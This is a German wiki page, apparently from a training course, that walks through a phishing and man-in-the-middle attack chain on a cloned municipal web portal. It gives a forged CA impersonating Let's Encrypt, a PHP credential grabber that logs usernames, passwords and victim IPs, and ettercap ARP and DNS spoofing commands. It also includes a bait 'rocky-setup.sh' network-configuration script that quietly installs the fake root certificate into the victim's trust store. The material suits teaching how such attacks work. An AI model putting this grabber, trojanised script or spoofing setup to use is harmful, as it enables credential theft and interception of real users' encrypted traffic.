Komplette Angriffskette Web Server: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 50: Zeile 50:
 
*mv www.zweebrigge.de/* .
 
*mv www.zweebrigge.de/* .
 
*rm -r www.zweebrigge.de
 
*rm -r www.zweebrigge.de
 +
=Wir bauen eine loot Grabber=
 +
*vi login.php
 +
<pre>
 +
└─# cat  login.php
 +
<?php
 +
// --- Credential-Grabber (Kursszenario) ---
 +
// Empfängt die vom geklonten Formular gesendeten Zugangsdaten,
 +
// schreibt sie mit Zeitstempel und Opfer-IP in eine Logdatei
 +
// und zeigt dem Opfer eine Störungsmeldung.
 +
 +
$user = $_POST['username'] ?? '';
 +
$pass = $_POST['password'] ?? '';
 +
$ip  = $_SERVER['REMOTE_ADDR'] ?? 'unbekannt';
 +
$zeit = date('Y-m-d H:i:s');
 +
 +
// In Logdatei anhängen (im DocumentRoot)
 +
$zeile = "$zeit | $ip | $user | $pass\n";
 +
file_put_contents('/var/www/html/loot.log', $zeile, FILE_APPEND | LOCK_EX);
 +
?>
 +
<!DOCTYPE html>
 +
<html lang="de">
 +
<head>
 +
  <meta charset="UTF-8">
 +
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
 +
  <title>Stadtportal Zweebrigge &ndash; Wartung</title>
 +
  <style>
 +
    * { margin: 0; padding: 0; box-sizing: border-box; }
 +
    body {
 +
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
 +
      background: linear-gradient(135deg, #1e3a5f 0%, #2c5282 100%);
 +
      min-height: 100vh; display: flex; align-items: center; justify-content: center;
 +
      color: #1a202c;
 +
    }
 +
    .card {
 +
      background: #fff; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.25);
 +
      width: 100%; max-width: 440px; padding: 40px; text-align: center;
 +
    }
 +
    .icon { font-size: 44px; margin-bottom: 12px; }
 +
    h1 { font-size: 20px; color: #1e3a5f; margin-bottom: 12px; }
 +
    p { font-size: 14px; color: #4a5568; line-height: 1.6; margin-bottom: 10px; }
 +
    .hint { font-size: 13px; color: #718096; margin-top: 18px; }
 +
    a {
 +
      display: inline-block; margin-top: 24px; padding: 11px 22px;
 +
      background: #2c5282; color: #fff; text-decoration: none;
 +
      border-radius: 6px; font-size: 14px; font-weight: 600;
 +
    }
 +
    a:hover { background: #1e3a5f; }
 +
    .footer { font-size: 12px; color: #a0aec0; margin-top: 28px; }
 +
  </style>
 +
</head>
 +
<body>
 +
  <div class="card">
 +
    <div class="icon">&#9888;&#65039;</div>
 +
    <h1>Dienst vorübergehend nicht verfügbar</h1>
 +
    <p>Das Stadtportal ist derzeit aufgrund von Wartungsarbeiten nicht erreichbar.</p>
 +
    <p>Bitte versuchen Sie es in einigen Minuten erneut.</p>
 +
    <p class="hint">Wir bitten die Unannehmlichkeiten zu entschuldigen.</p>
 +
    <a href="index.html">Zurück zur Anmeldung</a>
 +
    <div class="footer">&copy; 2026 Stadtverwaltung Zweebrigge</div>
 +
  </div>
 +
</body>
 +
</html>
 +
<pre>
 +
 
=Wir spielen den Angriff auf kali einmal durch=
 
=Wir spielen den Angriff auf kali einmal durch=
 
;Hosts für die Simulation vorbereiten
 
;Hosts für die Simulation vorbereiten

Version vom 17. August 2026, 19:34 Uhr

Wie wollen Letsencrypt nachbauen

  • CA=fake-ca
  • openssl req -new -x509 -newkey rsa:4096 -nodes -keyout $CA.key -out $CA.crt -days 3650 -subj "/CN=R12 /O=Let's Encrypt /C=US"

Wir wollen ein Xinux Zertifikat erstellen

Variable gesetzt
  • FQDN=www.zweebrigge.de
Request erstellt
  • openssl req -new -newkey rsa:4096 -nodes -keyout $FQDN.key -out $FQDN.csr -subj "/CN=$FQDN"
Signiert
  • openssl x509 -req -days 1460 -in $FQDN.csr -CA $CA.crt -CAkey $CA.key -CAcreateserial -out $FQDN.crt -extfile <(echo "subjectAltName=DNS:$FQDN")

Zertifikate an die richtige Stelle bringen

Zertifikat der Zertifizierungsstelle zu den Stammzertifikaten der OS hinzufügen.
  • sudo cp $CA.crt /usr/local/share/ca-certificates
  • sudo update-ca-certificates

Zertifikat und Key des Webservers an die richtige Stelle bringen

  • sudo cp $FQDN.crt /etc/apache2/own.crt
  • sudo cp $FQDN.key /etc/apache2/own.key

Apache einrichten

SSL aktivieren
  • a2enmod ssl
Konfiguration
  • cat /etc/apache2/sites-enabled/000-default.conf
<IfModule mod_ssl.c>
  <VirtualHost *:443>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html
        SSLEngine on
	SSLCertificateFile /etc/apache2/own.crt
	SSLCertificateKeyFile /etc/apache2/own.key
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
</IfModule>
Restart
  • sudo systemctl restart apache2
Check
  • sudo ss -lntp | grep 443
LISTEN 0      511                *:443             *:*    users: (("apache2",pid=324865,fd=6),("apache2",pid=324864,fd=6), ("apache2",pid=324863,fd=6),("apache2",pid=324862,fd=6),("apache2",pid=324861,fd=6),("apache2",pid=44955,fd=6))

Webseite spiegeln

Wir bauen eine loot Grabber

  • vi login.php
└─# cat  login.php
<?php
// --- Credential-Grabber (Kursszenario) ---
// Empfängt die vom geklonten Formular gesendeten Zugangsdaten,
// schreibt sie mit Zeitstempel und Opfer-IP in eine Logdatei
// und zeigt dem Opfer eine Störungsmeldung.

$user = $_POST['username'] ?? '';
$pass = $_POST['password'] ?? '';
$ip   = $_SERVER['REMOTE_ADDR'] ?? 'unbekannt';
$zeit = date('Y-m-d H:i:s');

// In Logdatei anhängen (im DocumentRoot)
$zeile = "$zeit | $ip | $user | $pass\n";
file_put_contents('/var/www/html/loot.log', $zeile, FILE_APPEND | LOCK_EX);
?>
<!DOCTYPE html>
<html lang="de">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Stadtportal Zweebrigge – Wartung</title>
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
      background: linear-gradient(135deg, #1e3a5f 0%, #2c5282 100%);
      min-height: 100vh; display: flex; align-items: center; justify-content: center;
      color: #1a202c;
    }
    .card {
      background: #fff; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.25);
      width: 100%; max-width: 440px; padding: 40px; text-align: center;
    }
    .icon { font-size: 44px; margin-bottom: 12px; }
    h1 { font-size: 20px; color: #1e3a5f; margin-bottom: 12px; }
    p { font-size: 14px; color: #4a5568; line-height: 1.6; margin-bottom: 10px; }
    .hint { font-size: 13px; color: #718096; margin-top: 18px; }
    a {
      display: inline-block; margin-top: 24px; padding: 11px 22px;
      background: #2c5282; color: #fff; text-decoration: none;
      border-radius: 6px; font-size: 14px; font-weight: 600;
    }
    a:hover { background: #1e3a5f; }
    .footer { font-size: 12px; color: #a0aec0; margin-top: 28px; }
  </style>
</head>
<body>
  <div class="card">
    <div class="icon">⚠️</div>
    <h1>Dienst vorübergehend nicht verfügbar</h1>
    <p>Das Stadtportal ist derzeit aufgrund von Wartungsarbeiten nicht erreichbar.</p>
    <p>Bitte versuchen Sie es in einigen Minuten erneut.</p>
    <p class="hint">Wir bitten die Unannehmlichkeiten zu entschuldigen.</p>
    <a href="index.html">Zurück zur Anmeldung</a>
    <div class="footer">© 2026 Stadtverwaltung Zweebrigge</div>
  </div>
</body>
</html>
<pre>

=Wir spielen den Angriff auf kali einmal durch=
;Hosts für die Simulation vorbereiten
*echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
;Fake CA-Zertifkat zu den Stammzertifikaten in Firefox hinzufügen.

=host anlegen=
*echo -e "$FQDN A 10.0.10.101" > /etc/ettercap/etter.dns

==ettercap mit dns plugin starten==
*OPFER=10.0.10.102
*ANGREIFER=10.0.10.101
*ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

=OPFER=
*host  www.zweebrigge.de
 10.0.10.101
=Opfer wird durch einen Köder getäuscht=
*cat rocky-setup.sh 
<pre>
#!/bin/bash
# Standardwerte setzen
FQDN=""
ADDR=""
GW=""
NS=""
USE_DHCP=0
IFACE="enp0s3"

# Optionen mit getopts parsen
while getopts "f:a:g:n:d" opt; do
  case $opt in
    f) FQDN="$OPTARG" ;;
    a) ADDR="$OPTARG" ;;
    g) GW="$OPTARG" ;;
    n) NS="$OPTARG" ;;
    d) USE_DHCP=1 ;;
    *) echo "Ungültige Option" >&2; exit 1 ;;
  esac
done

# Fake-CA in den System-Trust-Store bringen
fake-ca() {
  local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt
  if [[ ! -f "$anchor" ]]; then
    cat <<'HERE' > "$anchor"
-----BEGIN CERTIFICATE-----
MIIFSzCCAzOgAwIBAgIUBqQC23BfFtxEqrflKQ86T2obupkwDQYJKoZIhvcNAQEL
BQAwNTENMAsGA1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJ
BgNVBAYTAlVTMB4XDTI2MDgxNzE4MzgwM1oXDTM2MDgxNDE4MzgwM1owNTENMAsG
A1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJBgNVBAYTAlVT
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzrmKW3eRwGi/164l/8fi
oHRoSFArZZyn1FIOzWBYPeOlNDnO1otuGfi0epuxNmqqErfGVX/9Ksn5gGFBTOxX
tOvcYx40ec14WTe2WeqbCYc9F5zMgtnZJDlmi8/99K15oSKfKzznMmxSjxo3QB1A
6gqWLF0kIS82kxta98bD69sl2naylGR0OfyXEemot0XxbDtjlzqtJ7uy5151AQyj
i8I68KGQaXCTzY+RhF0Cw/9NIjLvgzxaDgvimF4dtzZi/3OURzagTGycACWRRK0K
DTa2xGT+lmfwHZAmMq97lFXaLrKXHFiulqnhwlG1u858iuYQU7J5s48foACxjOsE
ohKjH6FniAGn1l9LXhIG4+e4xUbrxpsynxBFa4J6ufs5vJG72AMSYPfypqXwFr1r
zfuC9cAnuwDMXUzFY+FUkPBCCQyvwsmayVtvbR5c99H0Z2mJN0l0lUNf5ScuHl6k
XYQbZy+XEy+mz8KA9cgagxk3epHR7+LKusptinHKU3q+yus9uqNSxNefQaltAwOS
TnuJVP6gtabXqcIPS81e9zyyD4tz3RBbKOIuFu5uejbKaZaBjtwbByhchJ8vtRn+
i5yLNjT0lx4m0Twc43LGEYgtRbu2jqoC2z/eP3ytMdtAn35crqluKMto/o74yVAC
GiiFZXqddHujkH0u/vN+ISECAwEAAaNTMFEwHQYDVR0OBBYEFDbT2gEhhiQ8Qo6X
rlcmmTero9oBMB8GA1UdIwQYMBaAFDbT2gEhhiQ8Qo6XrlcmmTero9oBMA8GA1Ud
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAFo9JEA2y5Qhf8qu7sAsCHIf
vuVJoQZJ/I2J2P5A6Hp3cm1kcINcJDlEMS5dLeFU0233TfnsLabjURDaLEmRgdD+
kxDuXOK/lohjY4MvNGuCMxEtmm/up08y2MHOpZPzSs8wIXZJK8NaUO8Dr3pnAnb3
3983jD877+mBzEf0FIoJfq5iWLidKJQTRz8UP/WY4vGrh+nw5J8sI29QEe9oCvtT
ZqfmXx5hVuW/l5pQ5VFrJc25XcXCE5f8ajnJEbG3qL0We+SaWrpatUGSgMIqklKT
JGtZ9SYd0KlosIR8GI6w8vO/Fz35go3ODCC1Sdlqdzm0dOuwjVkuC5rrlpz3icx2
Y0aKSqEiPP0sXGjfEUXleVspzG7yR7DLZBrmw6NXyqjv620QRUGRaLwsD+cGo0lm
vG8gGLeXvGcsR/BaEFrKomf99uCoKkO2KZhn91beypIcUCAYmj+YpF15sOK0ot/O
9d3p7XaIgxq2K9fwon7vpEW804eWR8bF5vQCaOByDV6NlBrpAFbKxmxhbVbyHblY
YTt/xOevOQBZH9oc31Y4Sw01a44zKMvbQTrberCt712bi1jWz2UrKSSxx8pbi5uS
LViicxybqMZq7MKykVNlDFj0Ut5wqX42UaTgWHOORrDRHG3xE1Jn2X0cJFC6eASk
/+MfaP2OZy0vBhSj1rLI
-----END CERTIFICATE-----
HERE
    update-ca-trust
  fi
}

# Fake-CA einspielen
fake-ca

# Gültigkeit prüfen
if [[ -z "$FQDN" ]]; then
  echo "Fehlender FQDN! Nutzung:"
  echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
  exit 1
fi

if (( USE_DHCP == 1 )); then
  if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then
    echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2
    exit 1
  fi
else
  if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then
    echo "Fehlende Argumente für statische Konfiguration! Nutzung:"
    echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
    exit 1
  fi
fi

# Hostname setzen
hostnamectl set-hostname "$FQDN"

# Alte NM-Verbindung löschen
nmcli connection delete "$IFACE" >/dev/null 2>&1

# DHCP- oder statische Konfiguration
if (( USE_DHCP == 1 )); then
  nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore
else
  nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \
    ipv4.method manual \
    ipv4.addresses "$ADDR" \
    ipv4.gateway "$GW" \
    ipv4.dns "$NS" \
    ipv6.method ignore
fi

# Verbindung aktivieren
nmcli connection up "$IFACE"

Download vorbereiten

  • python3 -m http.server

Opfer lädt Köder nach Anweisungen runter

User führt Skript einmal aus

  • rocky-setup.sh
Fehlender FQDN! Nutzung:
rocky-setup-mod.sh -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]

Opfer geht auf die Webseite=